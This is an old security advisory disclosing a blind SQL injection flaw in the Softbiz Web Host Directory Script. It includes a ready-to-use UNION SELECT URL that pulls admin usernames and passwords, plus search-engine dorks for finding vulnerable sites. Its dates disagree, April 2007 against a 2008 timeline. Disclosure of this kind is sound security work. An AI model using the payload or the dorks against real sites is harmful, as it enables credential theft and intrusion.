ECHO_ADV_89$2008

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[ECHO_ADV_89$2008] Softbiz Web Host Directory Script (search_result.php 
host_id) Blind Sql Injection Vulnerability

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Author         : M.Hasran Addahroni

Date           : April, 28 th 2007

Location       : Jakarta, Indonesia

Web            : http://advisories.echo.or.id/adv/adv89-K-159-2008.txt

Critical Lvl   : Medium

Impact         : System access

Where          : From Remote

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Affected software description:

~~~~~~~~~~~~~~~~~~~~~~~~~~~


Application   : Softbiz Web Host Directory Script

version       : unknown

Vendor        : http://www.softbizscripts.com/web-hosting-directory-script.php

Description   :


Web Hosting Directory Script is a highly Advanced PHP script to run your own 
web Hosting comparison site.

Since companies in web hosting industry offer very high volumes of affiliate 
commissions (even up to $80 or more per sale),

hence this script has a great potential to generate very heavy revenues for you.

Script is built with focus on making it SIMPLE for webmasters to manage and 
very convenient for users to select perfect web Hosting.

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Vulnerability:

~~~~~~~~~~~~~


Input passed to the "host_id" parameter in search_result.php is not properly 
verified before being used to sql query. 

This can be exploited thru the browser and get the username and password from 
admin in plain text.

Successful exploitation requires that "magic_quotes" is off



Poc/Exploit:

~~~~~~~~~


http://www.target.com/hostdirectory/search_result.php?host_id=-1 union select 
1,2,concat(sb_id,0x3a,sb_admin_name,0x3a,sb_pwd),4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9
 from sb_host_admin--


Dork:

~~~~

Google    : "Powered by SoftbizScripts" "Subscribe Newsletter"

altavista : Home Search Plans  Host Reviews  Register  Login Contact Us


Solution:

~~~~~~


- Edit the source code to ensure that input is properly verified.

- Turn on magic_quotes in php.ini

 


Timeline:

~~~~~~~~


- 28 - 04 - 2008 bug found

- 28 - 04 - 2008 advisory released

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Shoutz:

~~~~

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the breath

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az01,negative,the_hydra,neng chika, str0ke

~ 
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~ SinChan,h4ntu,cow_1seng,poniman_coy, ketut, rizal, cR4SH3R, kuntua, 
stev_manado, nofry,k1tk4t,0pt1c

~ [EMAIL PROTECTED]

~ #aikmel #e-c-h-o @irc.dal.net

~ special for rgod - good bye mate, thanks for the great works.

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Contact:

~~~~~


     K-159 || echo|staff || eufrato[at]gmail[dot]com

     Homepage: http://k-159.echo.or.id/


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